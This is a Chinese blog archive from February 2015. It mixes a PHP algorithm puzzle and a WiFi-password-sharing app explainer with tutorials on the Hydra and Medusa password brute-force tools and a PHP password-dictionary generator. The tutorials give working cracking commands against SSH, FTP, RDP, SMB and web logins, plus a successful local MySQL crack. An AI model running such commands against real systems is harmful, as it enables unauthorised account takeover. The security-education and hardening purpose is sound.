月度归档:2015年02月

算法题 – 木板墙

考古学家在人迹罕至的一块平地上发现了由一堆木板拼成的墙。令人惊奇的是这些木板的宽度都相同!地下的部分都已腐烂,而地上的部分也有高有低,甚至有的地方根本没有木板,所以考古学家决定带走面积最大的长方形回去研究。

这个应该是原题描述,不过经过简单抽象就是有若干宽度一样而高度不一的木板排列在一起,木板不可移动,在这些木板中取一个长方形,使得其面积最大。

木板墙

最低木板决定了木板数,即固定了长与高。所以,我们可以把每块木板看成高度都不一样的,某一个高度的木板能结合多少木板就是固定的,所以我们可以按照这个规则循环一遍每块木板计算面积,然后取最大值。

/* 随机数组
$len = rand(10,50);

for($i=0;$i<$len;$i++){
	$num[] = rand(1,200);
}
*/

$num = array(7,3,5,8,7,3,10,11,8,6,8,13,6,9);

$len = count($num);

$result = array();
for($i=0;$i<$len;$i++){
	$height = $num[$i];
	$width = 1;
	
	for($x=($i-1);$x>=0;$x--){
		if($num[$x] >= $height){
			$width += 1;
		}else{
			break;
		}
	}
	for($y=($i+1);$y<$len;$y++){
		if($num[$y] >= $height){
			$width += 1;
		}else{
			break;
		}
	}	
	
	$result[] = $width * $height;
}

print_r($result);

输出:

Array
(
    [0] => 7
    [1] => 42
    [2] => 15
    [3] => 8
    [4] => 14
    [5] => 42
    [6] => 20
    [7] => 11
    [8] => 24
    [9] => 48
    [10] => 16
    [11] => 13
    [12] => 48
    [13] => 9
)

关于Wifi万能秘钥

老家客厅网络安装了无线网络,为了方便我设置了我的手机号码作为密码,一亲戚带了一小弟过来拜年,他用所谓的Wifi万能秘钥”破解”了我设置的密码。一阵纳闷…

手机号是纯数字11位,0到9有10位,那么能组合出来的就有10的11次方个,那是100亿,短短几分钟就能试遍100亿?直觉告诉我,绝无可能。那么这样的App是如何做到的呢?

如果有人接入这个网络后,共享了热点(就是把名称和密码告诉它),当别人接入时,首先到所谓的云端查询对应的密码,那么它就可以很顺利地获取到密码,这个就是以上说的破解的唯一可能。肯定有某位成员安装了Wifi万能秘钥这个流氓App并共享了热点(或者这款流氓软件偷偷共享了热点),Wifi万能秘钥默认是选中共享热点的,对于一般的小白来说,它根本不知道共享热点意味者什么。

通过以上分析可知,蹭网并没有那么简单。比较常见的所谓的Wifi密码破解实际都是暴力破解工具,如果密码是数字混合字母,长度设置为6,就有50多亿个密码;长度为9,就有1353亿亿个密码。

现在一般的路由器都可以设置MAC地址绑定或过虑,如果实在担心密码被破解,可以设置MAC地址过滤,只允许自己的设备接入。

最后结论是,蹭网并没有那么容易,完成没有必要谈Wifi破解就色变。Wifi万能秘钥这个App的流氓行为实在卑鄙无耻。

暴力破解工具 – Hydra

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码(几乎支持所有协议…)。

下载地址:https://www.thc.org/download.php?t=r&f=hydra-8.1.tar.gz

安装:

#依赖包(对应不同协议,可能需要提前安装更多依赖包)
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel subversion-devel
#解压
tar zxvf hydra-8.1.tar.gz
cd hydra-8.1
#安装
./configure 

##############
Starting hydra auto configuration ...
Detected 64 Bit Linux OS

Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
                                                       ... found
Checking for idn (libidn.so) ...
                             ... found
Checking for curses (libcurses.so / term.h) ...
                                            ... found, color output enabled
Checking for pcre (libpcre.so, pcre.h) ...
                                       ... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
                                             ... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
                                                               ... found
Checking for firebird (libfbclient.so) ...
                                       ... NOT found, module firebird disabled
Checking for MYSQL client (libmysqlclient.so, math.h) ...
                                                      ... found
Checking for AFP (libafpclient.so) ...
                                   ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
                                         ... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
                                      ... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
                                      ... NOT found, module ssh disabled
Get it from http://www.libssh.org
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
                                                                    ... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for GUI req's (pkg-config, gtk+-2.0) ...
                                              ... NOT found, optional anyway
Checking for Android specialities ...
                                  ... rindex() found
                                  ... RSA_generate_key() found
Checking for secure compile option support in gcc ...
                                                  Compiling... yes
                                                  Linking... yes

Hydra will be installed into .../bin of: /usr/local
  (change this by running ./configure --prefix=path)

Writing Makefile.in ...
now type "make"
##############

make
make install

注意查看configure的输出,如果你期望的协议依赖包没有找到,那么你需要先安装对应的依赖包。比如要支持SSH,那么需要到http://www.libssh.org下载安装libssh依赖包,否则SSH模块不启用。

参数说明:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

使用实例:
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form “/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password”

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form “login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password>/title>”

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6、破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

实际操作测试:
hydra-mysql
破解到密码是root。

hydra
注意错误提示,说hydra支持5千万条记录,而密码文件是1亿条,所以出错终止执行。

暴力破解 之 字典

一般黑客攻击的过程为:扫描,破解,留后门,清理痕迹。扫描当然是基础之基础了。最为关键和体现能力差异的是破解这个步骤。当然,最简单的破解自然是所谓的暴力破解了,高级点的就是利用各种漏洞实现破解提取等。只有破解成功后才能有后续的操作。

对于暴力破解,关键在于字典(当然工具自然是要的),以下稍作探讨。

例子:

$number = "0123456789";					//10
$letterLower = "abcdefghijklmnopqrstuvwxyz";		//26
$letterUpper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";		//26
$character = "~`!@#$%^&*()_-+={[}]|\:;\"'<,>.?/";	//32

如果密码长度是6为,纯属数字,可能的值有10的6次方(100万),纯小写或大写字母则为26的6次方(3亿),数字加字母62的6次方(5千多亿)。

可见,数字加字母(至少含一个数字、一个小写字母、一个大写字母),随着位数增加,可能值大到惊人,比如,数字加字母的9位密码,有1353亿亿可能值,这样的值,让所谓的暴力破解变成一个类似于购买彩票的行为。

如果9为数密码,至少包含一个数字,一个小写字母,一个大写字母,一个特殊字符,这样的密码基本是天文数字。

当然,暴力破解之所以有一定的成功率,除了短密码原因外,更加重要的是人们为了记住密码,通常会选择一些易于记忆的单词或词组或数字,把这些因素考虑进来,制作成字典(一般都在亿的规模以上),是暴力破解能成功的另一个因素,当然,让其进行无限次的尝试是能暴力的前提。

对于长密码,含数字带小写字母和特殊字符,使用暴力破解工具一个个尝试,理论上,只要时间足够,最终是可以试出来的。实际上,对付这种密码,可以产生随机密码字典进行碰撞,当然了,如果运气好,只要随机产生数个随机字典就可能碰对,如果经过有限次数的碰撞无法碰出来,说明运气不好,暂时先搁置或直接放弃。

以下附上一段用来产生随机密码的代码,方便随机生成密码字典:

function getPwdStr($type='number',$start=4,$to=0){
	// no fix
	if(!empty($to) && ((int)$to > (int)$start)){
		$pwdLen = rand($start,$to);
	}else{
		if((int)$start > 0){
			$pwdLen = (int)$start;
		}else{
			$pwdLen = 1;
		}
	}	
	
	$number = "0123456789";					//10
	$letterLower = "abcdefghijklmnopqrstuvwxyz";		//26
	$letterUpper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";		//26
	$character = "~`!@#$%^&*()_-+={[}]|\:;\"'<,>.?/";	//32
		
	if($type == 'Number'){
		$nstr = ''; $lenght = strlen($number);
		for($i=0;$i<$pwdLen;$i++){
			$idx = rand(0,$lenght - 1);
			$nstr .= $number[$idx];
		}	
		return $nstr;
	}else if($type == 'Letter'){
		$letter = $letterLower.$letterUpper;
		$lstr = ''; $lenght = strlen($letter);
		for($i=0;$i<$pwdLen;$i++){
			$idx = rand(0,$lenght - 1);
			$lstr .= $letter[$idx];
		}
		return $lstr;
	}else if($type == "NumberLetter"){
		$numberletter = $number.$letterLower.$letterUpper;
		$nlstr = ''; $lenght = strlen($numberletter);
		for($i=0;$i<$pwdLen;$i++){
			$idx = rand(0,$lenght - 1);
			$nlstr .= $numberletter[$idx];
		}
		return $nlstr;		
	}else if($type == "NumberLetter_Force"){
		if($pwdLen <= 2){
			$pwdLen = 2;
		}
		$numberletter = $number.$letterLower.$letterUpper;
		
		$loop = array($number,$numberletter);
		
		$pwd = array();
		foreach($loop as $p){
			$index = rand(0,strlen($p)-1);
			$pwd[] = $p[$index];
		}
		
		$finalLen = $pwdLen - 2;
		
		$allStrLen = strlen($numberletter)-1;
		if($finalLen > 0){
			for($i=0;$i<$finalLen;$i++){
				$idx = rand(0,$allStrLen);
					
				$pwd[] = $numberletter[$idx];
			}
		}
		shuffle($pwd);
		
		return implode("", $pwd);
	}else if($type == "NumberLetterCharacter"){
		$numberlettercharacter = $number.$letterLower.$letterUpper.$character;
		$nlcstr = ''; $lenght = strlen($numberlettercharacter);
		for($i=0;$i<$pwdLen;$i++){
			$idx = rand(0,$lenght - 1);
			$nlcstr .= $numberlettercharacter[$idx];
		}
		return $nlcstr;		
	}else if($type == "NumberLetterCharacter_Force"){
		if($pwdLen <= 4){
			$pwdLen = 4;
		}
		$allChar = $number.$letterLower.$letterUpper.$character;
		
		$loop = array($number,$letterLower,$letterUpper,$character);
		
		$pwd = array();
		foreach($loop as $p){
			$index = rand(0,strlen($p)-1);
			$pwd[] = $p[$index];
		}
		
		$finalLen = $pwdLen - 4;
		
		$allStrLen = strlen($allChar)-1;
		if($finalLen > 0){
			for($i=0;$i<$finalLen;$i++){
				$idx = rand(0,$allStrLen);
					
				$pwd[] = $allChar[$idx];
			}
		}
		shuffle($pwd);
		
		return implode("", $pwd);
	}
}

所谓的暴力破解就是一个个尝试,简单粗暴。实际要阻止这种行为也很简单,首先密码足够复杂(数字字母字符,9位以上),然后就是对登录进行监控,比如3次密码不对,锁住此账户,或封掉尝试登录的IP。

就算2位数纯数字的密码,如果对登录进行监控,设置预定次数尝试不正确就封IP,那么这样的密码仍然可以相对较安全,如果在设置密码上注意一下,比如包含数字字母特殊字符,长度9位以上,那么就根本暴力不了。

暴力破解工具 – Medusa

此工具官方网址:http://foofus.net,这个工具支持的协议相对比较丰富。

安装:

tar zxvf medusa-2.1.1.tar.gz
cd medusa-2.1.1
./configure
##................
configure: *******************************************************
configure:     Medusa Module Build Summary
configure: 
configure:     AFP             ** Disabled **
configure:     CVS             Enabled
configure:     FTP             Enabled
configure:     HTTP            Enabled
configure:     IMAP            Enabled
configure:     MSSQL           Enabled
configure:     MYSQL           Enabled
configure:     NCP             ** Disabled **
configure:     NNTP            Enabled
configure:     PCANYWHERE      Enabled
configure:     POP3            Enabled
configure:     POSTGRES        ** Disabled **
configure:     REXEC           Enabled
configure:     RLOGIN          Enabled
configure:     RSH             Enabled
configure:     SMBNT           Enabled
configure:     SMTP            Enabled
configure:     SMTP-VRFY       Enabled
configure:     SNMP            Enabled
configure:     SSH             Enabled
configure:     SVN             ** Disabled **
configure:     TELNET          Enabled
configure:     VMAUTHD         Enabled
configure:     VNC             Enabled
configure:     WRAPPER         Enabled
configure:     WEB-FORM        Enabled
##................
make 
make install

如果提示SSH是Disabled,说明搜索不到libssh2,这个是一个实现了SSH2协议的C库,Medusa的SSH模块依赖这个库以实现SSH通信(PHP也提供了针对libssh2库的包装器,http://cn2.php.net/manual/zh/book.ssh2.php),安装libssh2:

#查询libssh2是否已经安装
rpm -qa | grep libssh
libssh2-1.4.2-1.el6_6.1.x86_64

#更新
yum install libssh2 libssh2-devel

#获取安装的文件列表
rpm -ql libssh2-1.4.2-1.el6_6.1.x86_64
/usr/lib64/libssh2.so.1
/usr/lib64/libssh2.so.1.0.1
/usr/share/doc/libssh2-1.4.2
/usr/share/doc/libssh2-1.4.2/AUTHORS
/usr/share/doc/libssh2-1.4.2/COPYING
/usr/share/doc/libssh2-1.4.2/ChangeLog
/usr/share/doc/libssh2-1.4.2/NEWS
/usr/share/doc/libssh2-1.4.2/README

rpm -ql libssh2-devel.x86_64
/usr/include/libssh2.h
/usr/include/libssh2_publickey.h
/usr/include/libssh2_sftp.h
/usr/lib64/libssh2.so
/usr/lib64/pkgconfig/libssh2.pc
/usr/share/doc/libssh2-devel-1.4.2
/usr/share/doc/libssh2-devel-1.4.2/COPYING

实际上,我们需要的是libssh2-devel,动态链接库/usr/lib64/libssh2.so。

这样,Medusa安装完成,命令位置:/usr/local/bin/medusa。

基本用法:
1 单个SSH目标
/usr/local/bin/medusa -h ip -u root -P /root/psswd/1.txt -M ssh
2 多个SSH目标
/usr/local/bin/medusa -H ip.txt -u root -P /root/psswd/2.txt -M ssh
3 尝试不同用户
/usr/local/bin/medusa -H ip.txt -U account.txt -P /root/psswd/3.txt -M ssh

很显然,如果要是文件,对应的HUP必须是大写的(使用文件表示多个)。M指定要使用的模块,这里是SSH。

测试:

#手动建立一个字典文件
cat pwd.txt 
12323
123
df324
43rre
root

#暴力本地Mysql的root
/usr/local/bin/medusa -h 127.0.0.1 -u root -P pwd.txt -M mysql
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 12323 (1 of 5 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123 (2 of 5 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: df324 (3 of 5 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 43rre (4 of 5 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (5 of 5 complete)
ACCOUNT FOUND: [mysql] Host: 127.0.0.1 User: root Password: root [SUCCESS]

以上,root用户匹配了密码root。可见,暴力破解关键在于字典。